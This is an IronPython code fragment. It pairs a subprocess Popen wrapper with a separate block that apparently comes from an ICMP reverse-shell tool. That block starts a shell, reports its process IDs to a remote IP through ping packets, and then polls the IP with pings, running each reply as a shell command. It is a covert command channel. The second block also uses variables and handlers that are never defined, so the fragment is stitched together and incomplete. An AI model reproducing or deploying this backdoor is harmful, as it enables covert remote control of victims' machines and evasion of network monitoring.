class Popen(object):
def __init__(self,
args,
executable,
stdin=None,
stdout=None,
stderr=None):
self.p = Process()
i = self.p.StartInfo
i.UseShellExecute = False
i.RedirectStandardInput = True
i.RedirectStandardOutput = True
i.RedirectStandardError = True
i.FileName = executable
args.pop(0)
i.Arguments = " ".join(args)
def communicate(self, stdinData=None):
self.p.Start()
stdin = self.p.StandardInput
stdout = self.p.StandardOutput
stderr = self.p.StandardError
if stdinData is not None:
stdin.AutoFlush = True
stdin.Write(stdinData)
stdin.Flush()
# ? problem when we have input data only!
stdoutData = stdout.ReadToEnd()
stderrData = stderr.ReadToEnd()
if not self.p.HasExited:
self.p.Kill()
stdin.Close()
stdout.Close()
stderr.Close()
self.p.Close()
return stdoutData, stderrData
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardError = True
p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.Start()
pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" %
(Process.GetCurrentProcess().Id, p.Id))
pinger.Send(IP, 10, pids)
p.StandardInput.WriteLine(" ")
p.BeginOutputReadLine()
p.BeginErrorReadLine()
#Recieve loop
while (not p.HasExited):
try:
# You can change the value of Send function to increase or decrease callbacks to recieve commands
reply = pingee.Send(IP, 50000, Encoding.ASCII.GetBytes("OK"))
inp = Encoding.ASCII.GetString(reply.Buffer)
if inp:
print inp
p.StandardInput.WriteLine(inp)
except IOException:
break
except WindowsError:
p.Close()
break
except InvalidOperationException:
pass
